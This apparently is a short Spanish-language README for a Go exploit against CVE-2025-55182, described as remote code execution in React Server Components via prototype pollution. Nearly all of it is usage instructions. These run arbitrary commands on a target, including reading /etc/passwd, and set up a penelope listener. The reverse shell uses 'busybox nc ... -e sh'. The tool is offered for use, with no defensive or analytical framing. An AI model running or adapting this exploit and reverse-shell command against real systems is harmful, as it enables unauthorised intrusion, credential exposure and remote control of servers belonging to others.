w3nch/cve-2025-55182-in-goExploit basado en Go para CVE-2025-55182, que permite la ejecución remota de código en React Server Components mediante contaminación de prototipos. Soporta ejecución arbitraria de comandos y cargas útiles de reverse shell.
Exploit para RCE en React Server Components mediante contaminación de prototipos.
go run main.go -t <target> -c <command>
go run main.go -t http://127.0.0.1 -c "id"
go run main.go -t http://127.0.0.1 -c "ls -la"
go run main.go -t http://127.0.0.1 -c "cat /etc/passwd"
Configurar shell inversa
penelope -i 0.0.0.0 -p 1337
Usar busybox:
go run main.go -t http://127.0.0.1 -c "busybox nc 127.0.0.1 1337 -e sh"
go build -o exploit .